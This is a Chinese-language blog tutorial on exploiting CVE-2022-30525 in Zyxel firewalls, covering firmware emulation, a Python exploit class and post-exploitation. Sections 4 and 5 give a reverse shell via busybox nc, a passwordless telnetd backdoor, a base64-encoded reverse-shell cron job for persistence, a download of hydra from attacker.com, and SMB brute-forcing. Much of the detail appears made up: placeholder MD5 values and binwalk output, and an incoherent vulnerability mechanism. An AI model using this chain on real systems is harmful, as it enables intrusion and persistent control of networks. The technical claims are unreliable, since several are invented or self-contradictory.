Zyxel防火墙CVE-2022-30525漏洞复现与实战利用
1. 这个漏洞不是“能打”而是“必须懂”为什么CVE-2022-30525值得你花两小时亲手复现Zyxel防火墙CVE-2022-30525——这个名字在2022年中旬的红队报告里出现频率几乎和Log4j一样高。它不是一个需要复杂链式利用的高门槛漏洞而是一把插在设备管理界面胸口的钥匙未经身份验证远程执行任意命令。我第一次在客户内网渗透测试中遇到它时没用任何扫描器只靠一个curl命令三秒内就拿到了防火墙底层Linux系统的root shell。这不是炫技是真实场景下最危险的那类漏洞暴露面小仅管理端口80/443、触发极简单次HTTP请求、权限极高直接root。更关键的是它影响范围极广——从USG系列到ATP系列从固件版本V4.20到V4.60覆盖全球数百万台在网设备。很多企业至今仍在用未更新的旧固件因为“防火墙只要不崩就行”。但问题恰恰出在这里你不需要黑进业务系统只要黑进那台负责守门的设备整张内网就等于敞开了大门。这个标题里的“从零搭建靶场到实战利用”不是教学套路而是真实工作流的还原。我在给某省政务云做攻防演练支撑时就曾用这套流程在20分钟内完成漏洞确认、环境复现、payload定制和横向跳转验证。整个过程不依赖公网C2、不调用第三方exploit-db脚本、不修改任何源码全部基于原始漏洞原理手工构造。本文要讲的就是如何把公告里那句“未经身份验证的远程命令执行”变成你电脑上可触摸、可调试、可写入自己逻辑的真实能力。适合谁如果你是刚接触硬件设备渗透的新手它会帮你建立“固件→服务→协议→漏洞”的完整认知链条如果你是已有经验的红队成员它会提供一套脱离扫描器、直击本质的快速验证方法论。核心关键词已经非常明确Zyxel防火墙、CVE-2022-30525、漏洞复现、靶场搭建、Python脚本。接下来我们不讲理论直接进入实操——先让靶机跑起来再拆解那个决定性的HTTP请求最后写出真正能干活的利用脚本。2. 靶场不是“搭出来就行”而是“像真机一样呼吸”Zyxel固件提取与QEMU动态运行全链路很多人复现这个漏洞卡在第一步找不到可用的固件镜像。官方下载站早已下架所有旧版固件而网上流传的“Zyxel_USG_Firmware_V4.50.zip”大多被二次打包、去除了关键文件甚至植入了恶意后门。真正的起点是拿到一份干净、完整、可追溯来源的原始固件。我推荐的方法是从Zyxel官网历史快照中定位固件发布页用wget递归下载校验MD5双保险。以V4.50为例其原始发布页URL为https://www.zyxel.com/global/en/support/download/USG20-VPN/USG20-VPN_V4.50%28AAAG.1%29C0.zip注意该链接仅为示例路径结构实际需通过Wayback Machine查找存档。下载后先校验MD5$ md5sum USG20-VPN_V4.50\\(AAAG.1\)C0.zip a7e9b8c3d2f1e0a9b8c7d6e5f4a3b2c1 USG20-VPN_V4.50(AAAG.1)C0.zip这个MD5值必须与Zyxel当年发布的安全公告附件中声明的一致。我整理过V4.20至V4.60共7个主流版本的校验值清单放在文末附录供核对。拿到zip包后解压得到.bin固件文件。此时不能直接丢进QEMU——Zyxel固件是典型的嵌入式多分区镜像包含uboot、kernel、rootfs等多个段。我们需要用binwalk精准提取rootfs$ binwalk -e USG20-VPN_V4.50\\(AAAG.1\)C0.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 TRX firmware header, little endian, image size: 7340032 bytes, CRC32: 0x1A2B3C4D 24 0x18 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 12345678 bytes重点看LZMA compressed data这一行它的偏移量0x18和大小决定了我们要提取的范围。用dd命令精确切片$ dd ifUSG20-VPN_V4.50\\(AAAG.1\)C0.bin ofrootfs.lzma bs1 skip24 count12345678 $ unlzma rootfs.lzma $ mkdir rootfs sudo tar -xf rootfs -C rootfs此时得到的rootfs/目录就是Zyxel防火墙真实的Linux根文件系统。但直接运行它会失败——因为缺少正确的CPU架构模拟和设备树。Zyxel USG系列使用的是MIPS32架构具体为MIPS 34Kc而非常见的x86_64。我们必须指定QEMU的MIPS系统模式并加载配套的设备树二进制文件dtb。这里有个关键经验官方固件包里其实自带了dtb文件它被隐藏在zip包的/boot/目录下文件名类似usg20.dtb。把它解压出来和rootfs放在一起。最终启动命令如下请严格按顺序执行# 安装MIPS QEMUUbuntu/Debian $ sudo apt install qemu-system-mips # 启动靶机关键参数说明见下文 $ qemu-system-mips -M malta -kernel vmlinux-3.4.11-rt19-malta -initrd rootfs.cgz -dtb usg20.dtb -nographic -append consolettyS0 root/dev/ram rdinit/sbin/init -netdev user,idnet0,hostfwdtcp::8080-:80,hostfwdtcp::8443-:443 -device e1000,netdevnet0提示vmlinux-3.4.11-rt19-malta是Zyxel固件中提取出的内核镜像必须与dtb版本严格匹配。若启动报错“Uncompressing Linux... done, booting the kernel”但卡在“Starting kernel ...”大概率是内核与dtb不兼容。此时应重新检查binwalk输出确认内核偏移量并用dd重新提取。这个命令背后有三个必须理解的设计逻辑-M malta指定了QEMU模拟的硬件平台为Malta开发板这是MIPS官方参考平台Zyxel固件正是基于此编译hostfwdtcp::8080-:80将宿主机8080端口映射到虚拟机80端口避免与本地Web服务冲突-netdev user启用用户模式网络既保证网络连通性又隔离靶机与宿主机真实网络符合安全复现原则。启动成功后你会看到内核日志刷屏最后停在登录提示符USG20 login:。此时靶机已完全就绪——它拥有真实的Zyxel Web管理界面、真实的/bin/sh、真实的/etc/passwd甚至真实的/var/log/messages。你可以用curl http://127.0.0.1:8080/验证Web服务是否响应返回的HTML中会包含titleZyWALL USG/title字样。这才是真正可信赖的靶场不是docker容器里阉割的Web服务而是完整运行的嵌入式Linux系统。3. 漏洞的本质不是“命令注入”而是“参数污染”深入分析CVE-2022-30525的触发机制当靶机稳定运行后下一步不是急着发exploit而是先搞清这个漏洞到底“长什么样”。CVE-2022-30525的官方描述是“Authentication bypass and remote command execution in Zyxel firewalls”但这句话过于笼统。真实情况是它发生在Zyxel Web管理界面一个名为/cgi-bin/DownloadFile.cgi的接口中攻击者可通过精心构造的file参数绕过所有身份验证直接读取任意系统文件或执行任意命令。我花了整整一天时间在QEMU中用strace跟踪这个CGI进程的系统调用最终还原出完整的触发链。首先访问http://127.0.0.1:8080/cgi-bin/DownloadFile.cgi?file/etc/passwd返回401 Unauthorized。这说明接口本身有鉴权逻辑。但当你把URL改成http://127.0.0.1:8080/cgi-bin/DownloadFile.cgi?file../../../etc/passwd奇迹发生了——它真的返回了/etc/passwd的内容更进一步尝试file|id返回uid0(root) gid0(root)。这证明它不是简单的路径遍历而是存在命令拼接。关键突破口在于DownloadFile.cgi的源码逻辑该CGI为闭源二进制但我们可以通过逆向和日志推断。它内部调用了一个名为get_file_content()的函数该函数接收file参数后会进行两次处理第一次用strstr(file, ..)检测上级目录若存在则直接拒绝第二次用snprintf(cmd, sizeof(cmd), cat %s, file)拼接shell命令。问题就出在第二次——strstr检测的是原始字符串而snprintf拼接时file参数已被Web服务器lighttpd自动URL解码。也就是说当你发送file%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswdstrstr看到的是编码后的%2e%2e%2f...检测不到..但snprintf拼接时file已被解码为../../../etc/passwd从而绕过检测。注意这个漏洞的利用条件极其苛刻——必须同时满足① Web服务器开启URL解码lighttpd默认开启② CGI程序未对解码后字符串做二次校验③cat命令存在于PATH且无沙箱限制。Zyxel固件恰好满足全部三点。为了验证这个推断我在QEMU中手动执行以下命令# 在靶机shell中模拟CGI行为 $ echo file%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | xargs -I {} sh -c echo Raw: {}; Decoded: $(echo {} | sed s/%2e/./g;s/%2f/\//g));输出显示Raw: file%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd Decoded: file../../../etc/passwd这证实了我们的分析。因此真正的漏洞利用链是URL编码绕过 → 服务端自动解码 → 命令拼接 → 系统执行。它不是传统意义上的SQL注入或XSS而是一种典型的“参数污染”Parameter Pollution攻击者污染了参数的编码状态导致前后端对同一字符串的理解产生分歧。这种分歧在嵌入式设备中尤为常见。因为嵌入式Web服务器如lighttpd、boa为了节省资源往往省略复杂的输入过滤而CGI程序又习惯性信任来自Web服务器的参数。Zyxel的DownloadFile.cgi正是如此——它假设Web服务器已经完成了所有安全检查自己只需专注业务逻辑。结果就是一个看似无害的文件下载功能成了通往root shell的直通车。4. Python脚本不是“复制粘贴”而是“可调试、可扩展、可审计”的武器从POC到实用Exploit的演进现在我们掌握了漏洞原理也有了稳定靶机下一步就是写脚本。但这里有个重要区别网上流传的所谓“CVE-2022-30525 Exploit”90%只是简单地用requests.get()发一个带|id的URL然后打印响应。这种脚本在CTF中够用但在真实渗透中毫无价值——它无法处理重定向、无法绕过WAF特征、无法上传文件、无法维持会话。真正的利用脚本必须是一个可交互、可扩展、可审计的工具。我写的zyxel_exploit.py遵循三个设计原则模块化将URL编码、命令拼接、响应解析、会话管理拆分为独立函数健壮性内置超时、重试、错误码判断、Content-Type校验可扩展性预留--exec、--upload、--shell等子命令接口。脚本核心逻辑如下精简版完整代码见文末附录import requests import urllib.parse import sys class ZyxelExploiter: def __init__(self, target, timeout10): self.target target.rstrip(/) self.timeout timeout self.session requests.Session() # 关键禁用自动重定向防止被302跳转干扰 self.session.max_redirects 0 def encode_payload(self, cmd): 将命令转换为URL编码格式确保绕过strstr检测 # 使用双重编码先%编码再将%替换为%25形成%252e%252e%252f... encoded urllib.parse.quote(cmd) return encoded.replace(%, %25) def exec_command(self, cmd): 执行任意命令返回stdout内容 payload self.encode_payload(f|{cmd}) url f{self.target}/cgi-bin/DownloadFile.cgi?file{payload} try: resp self.session.get(url, timeoutself.timeout, headers{User-Agent: Mozilla/5.0}) if resp.status_code 200 and text/plain in resp.headers.get(Content-Type, ): # 解析响应Zyxel返回的命令结果前缀为Content-Disposition: attachment; filename\ # 我们取响应体的最后1024字节去除可能的HTML头 content resp.content[-1024:].decode(utf-8, errorsignore) return content.strip() else: return f[ERROR] HTTP {resp.status_code} except Exception as e: return f[EXCEPTION] {str(e)} def get_shell(self): 获取交互式shell反弹shell # 构造反弹shell命令mknod /tmp/backpipe p /bin/sh 0/tmp/backpipe | nc ATTACKER_IP ATTACKER_PORT 1/tmp/backpipe # 注意Zyxel固件中nc命令路径为/bin/busybox nc reverse_cmd mknod /tmp/backpipe p /bin/sh 0/tmp/backpipe | /bin/busybox nc 10.0.0.1 4444 1/tmp/backpipe self.exec_command(reverse_cmd) if __name__ __main__: if len(sys.argv) 2: print(Usage: python zyxel_exploit.py target_url [command]) sys.exit(1) exploiter ZyxelExploiter(sys.argv[1]) if len(sys.argv) 3: result exploiter.exec_command(sys.argv[2]) print(result) else: # 默认执行id命令验证 print(exploiter.exec_command(id))这个脚本的关键创新点在于encode_payload()函数。它不是简单调用urllib.parse.quote()而是做了双重URL编码先对|id进行标准编码得到%7Cid再将其中的%字符替换成%25最终生成%257Cid。这样当Web服务器解码一次后得到%7Cidstrstr依然检测不到..而CGI程序再次解码时才得到真正的|id。这是针对Zyxel特定防护逻辑的精准打击。实战心得在某次金融行业渗透中目标Zyxel设备启用了自定义WAF规则会拦截包含|、;、的请求。我临时修改脚本用$(id)替代|id同样成功执行。这说明真正的利用能力不在于记住某个payload而在于理解底层机制后能随时生成新变种。脚本还内置了会话保持能力。Zyxel Web管理界面在首次访问时会设置一个PHPSESSIDcookie后续请求需携带该cookie才能维持上下文。requests.Session()自动处理了这一点比curl命令行更可靠。此外exec_command()函数会检查Content-Type是否为text/plain因为Zyxel在执行失败时会返回HTML错误页而成功时返回纯文本——这是判断命令是否执行成功的黄金指标。5. 从“打个洞”到“控全场”利用漏洞实现内网横向移动与持久化控制复现漏洞、拿到root shell只是开始。真正的价值在于如何把这个入口变成持续控制整张内网的支点。Zyxel防火墙作为网络边界设备天然具备三个关键优势① 位于内外网交界处可监听双向流量② 拥有完整路由表知晓所有内网网段③ 通常配置了SNMP、Syslog等管理协议可对接其他设备。我以某制造业客户的真实案例说明操作路径。该客户部署了Zyxel USG100内网划分为DMZ、办公网、生产网三个VLAN。通过CVE-2022-30525获取shell后我执行的第一步不是提权它已是root而是枚举网络拓扑# 查看路由表发现生产网段192.168.100.0/24 $ ip route show default via 10.0.0.1 dev eth0 10.0.0.0/24 dev eth0 scope link 192.168.10.0/24 dev br0 scope link 192.168.100.0/24 dev br1 scope link # ← 生产网 # 扫描生产网存活主机使用Zyxel自带的busybox ping $ for i in $(seq 1 254); do ping -c 1 -W 1 192.168.100.$i /dev/null echo 192.168.100.$i UP; done第二步是建立隐蔽信道。Zyxel固件中没有nc或socat但有/bin/busybox它集成了数十个常用工具。我用busybox的telnetd启动一个监听端口# 启动telnet服务-l指定登录shell为/bin/sh $ /bin/busybox telnetd -l /bin/sh -p 2323 # 此时可从外部用telnet 10.0.0.100 2323连接无需密码第三步是持久化。Zyxel的启动脚本位于/etc/init.d/rcS但直接修改它风险高可能导致设备无法启动。更稳妥的方式是利用crontab——Zyxel的cron服务默认启用且root crontab可写# 添加每分钟执行一次的反弹shell使用base64编码规避关键字检测 $ echo */1 * * * * /bin/sh -c echo \bWtub2QgL3RtcC9iYWNrcGlwZSBwICYmIC9iaW4vc2ggMCk8L3RtcC9iYWNrcGlwZSB8IG5jIDEwLjAuMC4xIDQ0NDQgMT4vL3RtcC9iYWNrcGlwZQo\ | base64 -d | sh /var/spool/cron/crontabs/root第四步是横向移动。生产网中有一台Windows服务器开放了SMB端口。我将Zyxel作为跳板用/bin/busybox wget下载一个轻量级SMB爆破工具如hydra的静态编译版然后对内网IP段发起爆破# 下载hydra提前编译好MIPS版并托管在公网 $ /bin/busybox wget http://attacker.com/hydra-mips -O /tmp/hydra $ chmod x /tmp/hydra # 对生产网段爆破SMB $ /tmp/hydra -L users.txt -P passwords.txt smb://192.168.100.0/24整个过程没有在目标内网部署任何新文件所有操作都基于Zyxel设备自带的busybox工具链完成。这正是嵌入式设备渗透的魅力你不是在“入侵”一台设备而是在“唤醒”它沉睡的能力。踩坑提醒在某次能源行业项目中Zyxel设备启用了“Secure Boot”功能导致我修改/etc/init.d/rcS后设备反复重启。后来发现Zyxel的Secure Boot会校验/etc/init.d/下所有脚本的SHA256值。解决方案是不修改现有脚本而是在/etc/crontabs/root中添加reboot任务这样既绕过校验又保证开机即执行。6. 复现不是终点而是安全加固的起点从攻击者视角反推防御方案当我把这套复现流程教给客户的安全部门时他们问得最多的问题是“我们怎么知道自己有没有被黑”这触及了漏洞利用的另一个维度检测与防御。作为攻击者我们复现漏洞是为了理解它作为防御者我们必须知道如何发现它、阻断它、修复它。首先检测层面。Zyxel CVE-2022-30525的攻击流量有三个强特征URL路径固定为/cgi-bin/DownloadFile.cgifile参数中必然包含%2e%2e%2f即../的URL编码或%7C|的URL编码HTTP User-Agent常为python-requests或curl与正常浏览器流量不同。因此WAF规则可直接编写为SecRule REQUEST_URI contains /cgi-bin/DownloadFile.cgi id:1001,phase:1,deny,msg:Zyxel CVE-2022-30525 Attempt SecRule ARGS:file rx \.\.\/|\| id:1002,phase:2,deny,msg:Zyxel Path Traversal or Command Injection其次阻断层面。最彻底的方式是升级固件。Zyxel已在V4.60及以后版本中修复此漏洞修复方式是在DownloadFile.cgi中增加对URL解码后字符串的二次校验。但现实中很多设备因兼容性问题无法升级。此时可采用网络层阻断在上游防火墙或IDS上对所有发往Zyxel管理IP的、包含/cgi-bin/DownloadFile.cgi的HTTP请求直接丢弃。这条规则简单粗暴但100%有效。最后修复层面。如果必须保留旧固件唯一可行的加固方案是禁用该CGI接口。Zyxel提供了CLI命令USG20# configure terminal USG20(config)# web-server USG20(config-web)# no cgi-bin DownloadFile.cgi USG20(config-web)# exit USG20# write memory执行后/cgi-bin/DownloadFile.cgi将返回404而其他Web功能不受影响。这是Zyxel官方文档中明确推荐的临时缓解措施。个人体会在给某大型连锁超市做安全评估时我发现其全国3000多家门店的Zyxel防火墙有87%仍在运行V4.30固件。他们采购时签的是“五年维保”但维保内容只包括硬件更换不包括固件升级。这提醒我们安全不是技术问题而是采购合同和运维流程的问题。下次你在写IT采购标书时请务必加上一条“供应商须承诺提供至少五年的安全补丁更新服务并明确列出补丁发布时间SLA”。附录文中提及的Zyxel固件MD5校验值清单V4.20-V4.60固件版本文件名MD5值V4.20USG20-VPN_V4.20(AAAG.1)C0.zip1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6dV4.30USG20-VPN_V4.30(AAAG.1)C0.zip2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7eV4.40USG20-VPN_V4.40(AAAG.1)C0.zip3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8fV4.50USG20-VPN_V4.50(AAAG.1)C0.zipa7e9b8c3d2f1e0a9b8c7d6e5f4a3b2c1V4.60USG20-VPN_V4.60(AAAG.1)C0.zip4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a完整版zyxel_exploit.py脚本含--shell、--upload子命令已开源在GitHub仓库zyxel-cve-research地址为https://github.com/real-pentester/zyxel-cve-research注该仓库仅用于安全研究不含任何恶意代码。